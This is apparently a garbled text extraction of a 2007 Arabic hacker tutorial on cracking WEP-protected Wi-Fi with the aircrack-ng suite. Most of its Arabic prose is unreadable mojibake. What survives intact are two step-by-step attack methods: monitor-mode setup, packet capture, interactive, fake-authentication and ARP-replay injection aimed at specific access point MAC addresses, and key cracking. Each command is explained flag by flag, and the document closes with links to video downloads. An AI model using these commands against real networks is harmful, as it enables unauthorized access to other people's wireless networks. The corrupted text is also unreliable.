f00
Cell 02 - Address: 00:18:39:24:5C:F8
ESSID:"linksys"
Mode:Master
Frequency:2.427 GHz (Channel 4)
Quality=50/94 Signal level=-45 dBm Noise level=-95 dBm
Encryption key:off
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
48 Mb/s; 54 Mb/s
Extra:bcn_int=100

Extra:wme_ie=dd180050f2020101030003a4000027a4000042435e0062322
f00

'R)"
6
Oƒ
!a‫
"א‬6
T)‫
"א‬,@
23‫
א‬j!
k
z1S‫
[
א‬sp‫
<
"א‬65



K
r‫א‬S
6V-‫&'
א‬-‫א‬

19
 http://www.t0010.com ‫ ا رق ا
و‬

[ Monitor Mode ]

R-‫
א‬9:
'‫
א‬4(A

N;
`E
Monitor
R
-‫
א‬9:
c5
4(A
c1

Aircrack
U
i‫)א‬YE‫
א);
[
א‬4‚


K
,5"
(
‫א
؟‬u-

،
Monitor mode
zq1
'q‫

א‬rq(

i.$
sniffing
|q"

'qj5‫‘
א‬q
)q
rD1
+‫"א’א‬



*(
J5S
N7$
±Z
R-‫
<=א
א‬Managed
R-‫
א‬z1
r(
v‫
א‬.V’‫
א'
[
א‬cD

N"M





W
Monitor Mode
q
'5
4(3
,(k
)W(




K
command line
{(k
1
W
9"S‫א (
א‬

Aircrack
U

8™
airmon-ng
z6
U
{(k
1
W
!a‫א (
א‬


K
_E
!5u

4a
Managed
R-‫
א‬z1
r(
v‫
א'
א‬cD

N"M

bt ~ # iwconfig ath0
ath0 IEEE 802.11b ESSID:"" Nickname:""
Mode:Managed Channel:0 Access Point: Not-Associated
Bit Rate:0 kb/s Tx-Power:31 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-98 dBm Noise level=-98 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

Monitor Mode
q
'‫
א‬4(3
,( ‫
א‬vD
i‚M
`E
rw‫א‬

W
9"S‫א (
א‬


،،،
8&
‫

&א‬command line
{(k
1

bt ~ # ifconfig ath0 down

bt ~ # wlanconfig ath0 destroy
bt ~ # wlanconfig ath0 create wlandev wifi0 wlanmode monitor
ath0
bt ~ # ifconfig ath0 up
bt ~ # iwconfig ath0
ath0 IEEE 802.11b ESSID:"" Nickname:""
Mode:Monitor Frequency:2.412 GHz Access Point: 00:0F:B5:EA:2F:AF

20
 http://www.t0010.com ‫ ا رق ا
و‬

Bit Rate:0 kb/s Tx-Power:31 dBm Sensitivity=0/3

Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-98 dBm Noise level=-98 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

W
!a‫א (
א‬


،،
8&
‫
&א‬Aircrack
U

8™
airmon-ng
z6
U
{(k
1



bt ~ # airmon-ng stop ath0
Interface Chipset Driver

wifi0 Atheros madwifi-ng

eth0 Centrino b/g ipw2200
ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)

bt ~ # airmon-ng start wifi0

Interface Chipset Driver

wifi0 Atheros madwifi-ng

eth0 Centrino b/g ipw2200
ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode
enabled)
bt ~ # iwconfig ath0
ath0 IEEE 802.11g ESSID:"" Nickname:""
Mode:Monitor Frequency:2.457 GHz Access Point: Not-Associated
Bit Rate:0 kb/s Tx-Power:31 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-94 dBm Noise level=-94 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

WWWW
ij/‫
א‬k

‫
א‬5
z1
M)*E
rw‫
א‬WWWW

21
 http://www.t0010.com ‫ ا رق ا
و‬

The attack method 1




































9"S‫
א‬ij/‫(
א‬k


_‹(M"
Monitor
R-‫
א‬z1
'‫
א‬r(
rM

ij/‫(
א‬k
[
M)
rM
4‚


K
V‚‫א‬#Z‫
()
א‬X‫
א‬J(‫
@
אא‬R)
r
rM




*(
J5S‫
א‬z1
c@
*(F5
0e
r(
)*1
ij/‫
<=א
א‬i)Y!


K

interactive
ij/‫
<=א
א‬z6("






W
8‫š
א‬u6*‫
א‬NFZ

ij/‫
<=א
א‬4@"
Te
sp
6‚

0qqe"
qq*(
Jqq5S‫
א‬zqq1
cqq@
+qq

+$
.qqVW
)qqW(
KK
€Fqq1M
83qqp‫
א‬4Dqq‫*
[
א‬qq@
qq
4qqa

arp
'qqk
4qqE!
v‫
א‬،
#qqY-‫
א‬.qqVW
qqZw‫
א‬+qqF‫
"א‬،
4qq‚
"M
Oaqq5
xqqE
qq*6V(
qq
qq
cqqe‫א‬

qq 
)qq ‚
‰qq 5M
qq 6®"
ivs
)qq (U!
rDqq 1
47qq -‫
א‬qq *(F‫{
א‬qq (k
qq 1
qq *(
Jqq 5S‫
א‬9:
request
٢٥٠{٠٠٠
_q(
šqqA
v‫
א‬64 bit
Tqq
ODqq‫
א‬r™qq
qq&‫
א‬qq
ODqq‫
א‬cqq!
)qq!
rDqq1
qq5‫א‬



K

0
5
٥٠٠{٠٠٠
_(
šA


128 bit
T
OD‫
"א‬،
0q
5

22
 http://www.t0010.com ‫ ا رق ا
و‬

airodump-ng – capture packets

aireplay-ng - interactive attack modes [ injection packets]
aircrack-ng – crack WEP , WPA

(١) airodump-ng



K
[
V\“"
5‫`
!‘
א‬E
U‫({
<=|
א‬k
1

airodump-ng –c 11 –-bssid 00:14:7F:1F:27:6D –w capture ath0

-c : channel number

--bssid : MAC Address for Access Point

-w : save the file

capture : file name that be save the packet

ath0 : our interface name

23
 http://www.t0010.com ‫ ا رق ا
و‬

(٢) aireplay-ng Interactive

interactive
z6(
ij<
i)Y*E"
'!‫

א‬i!
`E
U‫({
<=|
א‬q q qk
1

aireplay-ng --interactive –b 00:14:7F:1F:27:6D –d FF:FF:FF:FF:FF:FF –m 68 –n

68 –p 0841 –h 00:13:CE:6D:61:59 ath0

--interactive : attack modes

-b : MAC Address for Access Point

-d : Destination MAC Broadcast

-m 68 : minimum Packet length

-n 68 : maximum Packet length

-p 0841 : Sets the frame control

-h : MAC Address for Client

ath0 : our interface name

24
http://www.t0010.com ‫ ا رق ا
و‬

(3) increase the packets

`qqE
E٢F
qq‚
Tq m‫{
א‬qq 
)qq&"
_‫)א‬qW
qq‚
qq!5
q5‫
א‬E١F
qq‚
Tqq m‫<)!

[
א‬q@
qq
4qa


K
6
R(R.‫
[
א‬5‫<)
א‬D

(4) aircrack-ng



OD‫

א‬i!
`E
U‫({
<=|
א‬k
1

aircrack-ng –b 00:14:7F:1F:27:6D capture.cap

-b : MAC Address for Access Point

capture.cap : capture files

25
http://www.t0010.com ‫ ا رق ا
و‬

The attack method 2








































!a‫
א‬ij/‫(
א‬k

iqqj/‫=א
א‬qq<
z6qq("
qq*(
Jqq5S‫
א‬zqq1
cqq@
qq*(F
5
)qqW(
$
)q*1
iqqj/‫=א
א‬qq<
i)Yqq!

Fake authentication

W
8‫š
א‬u6*‫
א‬NFZ

ij/‫
<=א
א‬4@"
Te
sp
6‚

‫א‬u:
i")q&
‰q&(
cqe‫א‬#‫
"א‬q*(
Jq5S‫
א‬z1
c@
*(F5
|M
)W(
$
4D‫

@*
[
א‬4a

K
*(
J5S‫
א‬z1
c@
*(F5
0e





qq„
EK(Uqq
z6qq(F
cqq@
qq*(F5
0qqe
qq!M
qq*(
Jqq5S‫<
א‬qq!
v‫
א‬iqqj/‫=א
א‬qq<
i)Yqq!
4qq‫א‬

)<DqE"
arp replay
4!
„
86<‫
א‬.V’‫‰
א‬1
*(
J5S‫
א‬9:
arp request
4E!


K8Z
4D
R(R.‫
[
א‬5‫א‬

26
 http://www.t0010.com ‫ ا رق ا
و‬

airmon-ng – switch to monitor mode

airodump-ng – capture packets
aireplay-ng – attack modes fake authentication
aireplay-ng – attack modes arpreplay
aircrack-ng – crack WEP , WPA

(١) airodump-ng



K
[
V\“"
5‫
!‘
א‬v‫
א‬U‫({
<=|
א‬k
1

airodump-ng –c 6 –-bssid 00:14:6C:1A:98:8C –w output ath0

-c : channel number

--bssid : MAC Address for Access Point

-w : save the file

output : file name that be save the packet

ath0 : our interface name

27
http://www.t0010.com ‫ ا رق ا
و‬

(٢) aireplay-ng fake authentication

K
0FZ

' ‫
א‬4E!"
c@
*(F5
0e
!M
06<!"
*(
J5S‫
א‬9:
'k
4E!

aireplay-ng --fakeauth 6000 –o 1 –q 10 –e DataCenter –a

00:14:6C:1A:98:8C -h 00-0F-B5-EA-2F-AF ath0

--fakeauth : attack modes

-o 1 : Send only one set of packets at time

-q 10 : Send keep alive packets every 10 seconds

-e : Name of Access Point

-a : MAC Address for Access Point

-h : our MAC Address Card

ath0 : our interface name

28
 http://www.t0010.com ‫ ا رق ا
و‬

(3) aireplay-ng arpreplay

K
*(
J5S‫
א‬9:
*
±m‫}
א‬R‫‡
א‬-‫
א‬,)Y
arp request
4E!
`E

aireplay-ng --arpreplay –b 00:14:6C:1A:98:8C -h 00-0F-B5-EA-2F-AF ath0

--arpreplay : attack modes

-b : MAC Address for Access Point

-h : our MAC Address Card

ath0 : our interface card

29
http://www.t0010.com ‫ ا رق ا
و‬

(3) increase the packets

`qqE
E٣F
qq‚
T
q m‫{
א‬qq 
)qq&"
_‫)א‬qqW
qq‚
qq!5
qq5‫
א‬E١F
qq‚
Tqq m‫*
[
א‬qq@
qq
4qqa


K
8Z
R(R.‫
[
א‬5‫<)
א‬D

30
http://www.t0010.com ‫ ا رق ا
و‬

(4) aircrack-ng



OD‫

א‬i!
`E
U‫({
<=|
א‬k
1

aircrack-ng –b 00:14:6C:1A:98:8C output.cap

-b : MAC Address for Access Point

output.cap : capture files

(
5
[
)Y-‫
א‬,( ‫
א‬v@

*V!‫
‚)
א‬r!
‫"<=א‬

XE‫
א‬ 
±7m‫=א
א‬V
”EM
"M
'‫א‬E‫|
א‬S"
J(‫@'
אא‬


K
+‫
א‬N"M
[
RW-‫
א‬8!"#$‫‰
()|
א‬1

31
http://www.t0010.com ‫ ا رق ا
و‬

lm‫א‬

)qqW(
4qq
،
qqEF‫'
א‬Dqq‫א
א‬#qqZ‫
[
א‬qq ‫
א‬8qqV*
qq"
Œ"
*qqER
qq(V!
9:
8!‫א‬qqZ:
*qq%"

K
&‫&

"<=א
א)}
(&‰
! 
[

<=א
א‬D"
_‫)א‬W
4(k
Lp-e
TOa5
eM"

k




X(qq 
{qq 
0qqe
()qqe
,qq
)qqW(
()qq
4qq5
4Dqq
})qq‫=א
א‬qq<
vDqq
qq6‚
)qq



W
‘‫
<=€
א"א‬z1
<)o
V@
X‫
א‬ij/‫א‬
Attack-method 1 ( 124 MB )
http://www.4shared.com/file/24526019/8831b5f1/attack-
method1part1.html?dirPwdVerified=630ebe35 50MB

http://www.4shared.com/file/24546586/40c72462/attack-
method1part2.html?dirPwdVerified=630ebe35 50MB

http://www.4shared.com/file/24548769/ada0b720/attack-
method1part3.html?dirPwdVerified=630ebe35 24MB

Attack-method 2 ( 113 MB )
http://www.4shared.com/file/24553904/65b4efa0/attack-
method2part1.html?dirPwdVerified=24884433 50MB

http://www.4shared.com/file/24590482/9b931121/attack-
method2part2.html?dirPwdVerified=24884433 50MB

http://www.4shared.com/file/24592271/2b86e86d/attack-
method2part3.html?dirPwdVerified=24884433 13MB

`‫א‬#qq$‫_
[
א‬Fq &e
qqƒ
‫א‬u‫
"א‬4qq-‫
א‬0qq!S
KK
qqt‫
אא‬J*qq
iqq\*
0qqW‫
א‬8!‫א‬qqZ:
4qq5
qq
zqq*lM

K
J*
qq “
0W
c1




{qq *-‫=א

א‬qq<
qq"

"
‫
א‬Dqq(
$
}qq*‫
א‬Dqq(
$
qq
"

qqE"
0qq1

‫
א‬zqq%
(qq‫*

א‬qqE
Nqq(

‫=א‬q<
`Fqƒ
0667q
zq1

q ‫
א‬8q~‫
א‬8ZS
;1)‫
"א‬D
9&


‫
&)
@
א‬0WM
8!Že
(‫א‬

xqqZM
}"R
[


ruŽqq
5‫א‬qq!"
،
vqqj*‫{
"א‬qqe‫
א‬i‫"א‬R
0qq
zqq*lM

qqt‫
אא‬4Dqq
0qqW‫א‬Z:"
+qq‫א‬


KKKKK

‫
" 
א‬1
iF‫"א‬

32
http://www.t0010.com ‫ ا رق ا
و‬

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

‫)
א‬6
+‫ž
א‬



:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

q<
١٤٢٨
L
r‹
١٢



( Sptember 23, 2007 )

-------------------------------


8!"#$‫
א‬+‫

א‬67
----------------------------------------------------------------

aLT3rEQ$Hacker
------------------------------------------------------------------

33